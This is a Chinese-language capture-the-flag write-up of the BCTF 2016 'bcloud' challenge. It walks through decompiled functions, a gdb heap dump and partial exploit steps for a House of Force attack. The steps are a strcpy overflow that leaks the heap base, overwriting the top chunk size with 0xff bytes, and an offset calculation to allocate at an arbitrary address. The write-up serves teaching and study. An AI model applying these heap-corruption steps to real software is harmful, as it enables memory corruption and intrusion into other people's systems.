house of force | bctf2016-bcloud
show这个功能…没写, 空的…
意思是不能通过show来leak了…
仔细的观察了一下..在一开头输入name的这里, 可以leak出heap base..很神奇
int sub_80487A1()
{
char s[64]; // [sp+1Ch] [bp-5Ch]@1
=> char *v2; // [sp+5Ch] [bp-1Ch]@1
int v3; // [sp+6Ch] [bp-Ch]@1
v3 = *MK_FP(__GS__, 20);
memset(&s, 0, 0x50u);
puts("Input your name:");
readn_until((int)&s, 64, 10);
v2 = (char *)malloc(0x40u);
dword_804B0CC = (int)v2;
=> strcpy(v2, &s);
welcome((int)v2);
return *MK_FP(__GS__, 20) ^ v3;
}
漏洞的点在箭头指向的strcpy, 字符串复制是遇到\x00
才停止…如果我们的name是64字节…那么就正好和v2
的内容连起来了…所以会被一同复制到堆上…准确的说v2的内容(malloc返回的指针)应该是在topchunk的prev_size字段..但不重要…v2的内容也会在welcome的时候随name的内容一同输出, 我们就得到了heap_base
# 0x08c16008就是我们要leak出来的, 0x00020f00是topchunk的size字段了
gdb-peda$ x/30x 0x8c16008
0x8c16008: 0x61616161 0x61616161 0x61616161 0x61616161
0x8c16018: 0x61616161 0x61616161 0x61616161 0x61616161
0x8c16028: 0x61616161 0x61616161 0x61616161 0x61616161
0x8c16038: 0x61616161 0x61616161 0x61616161 0x61616161
0x8c16048:=>0x08c16008 0x00020f00 0x00000000 0x00000000
在设置org和host的函数里有相同的问题, 妙啊
int sub_804884E()
{
+- char s; // [sp+1Ch] [bp-9Ch]@1
| char *v2; // [sp+5Ch] [bp-5Ch]@1
+- int v3; // [sp+60h] [bp-58h]@1
char *v4; // [sp+A4h] [bp-14h]@1
int v5; // [sp+ACh] [bp-Ch]@1
v5 = *MK_FP(__GS__, 20);
memset(&s, 0, 0x90u);
puts("Org:");
=> readn_until((int)&s, 64, 10);
puts("Host:");
readn_until((int)&v3, 64, 10);
v4 = (char *)malloc(0x40u);
=> v2 = (char *)malloc(0x40u);
org = (int)v2;
host = (int)v4;
strcpy(v4, (const char *)&v3);
strcpy(v2, &s);
puts("OKay! Enjoy:)");
return *MK_FP(__GS__, 20) ^ v5;
}
在这里, org如果输入一个64字节的字符串, 就会把s(org_buf), v2(org_ptr), v3(org_buf), 都一并复制到了堆上, 这个时候v2是和topchunk相邻的, 所以和上面输入name的时候情况相同
这里v2的内容被放在topchunk的prev_size, v3的前4字节会覆盖topchunk的size, 后面的内容会覆盖topchunk的data
所以现在我们能够
- leak出heapbase
- 控制topchunk的size
而且观察到新建note的时候对note的content大小无限制, 就是可以申请任意大小的堆块
有上面三个条件, 就可以控制topchunk指针的走向, 从而在任意地址分配内存块
就是House of Force
具体控制的流程一般资料都有
第一步, 更改topchunk的size到很大, 比如-1, 在32位下兑换成无符号数就是0xffffffff
在本题中就是
org = 'A' * 64
host = '\xff' * 4
第二步, 计算我们想要申请的地址距离topchunk的偏移, 申请对应偏移大小的堆块
heap_base = leak_addr - 8 # 我们在最开始leak出来的heap_base
addr_topchunk = heapbase + (0x48 * 3) # 算出来现在的topchunk位置
addr_we_want = # 我们想要任意地址写的地方, 这是data部分, 所以等会算的时候要减去头部的8字节
off = (addr_we_want - 8) - addr_topchunk
# 之后还要对齐之类的,而且这题是malloc(size+4), 这些还要算到offset里, 这里不继续算下去了, 之后直接放payload
off_final_size = off + balabala
newNote(off_final_size)
这一步之后, topchunk指针就偏移了off, 到了我们想要的特定位置
第三步, 这次再newnote得到的chunk就是我们想要的地址了, 写入内容就OK了
payload之后贴上来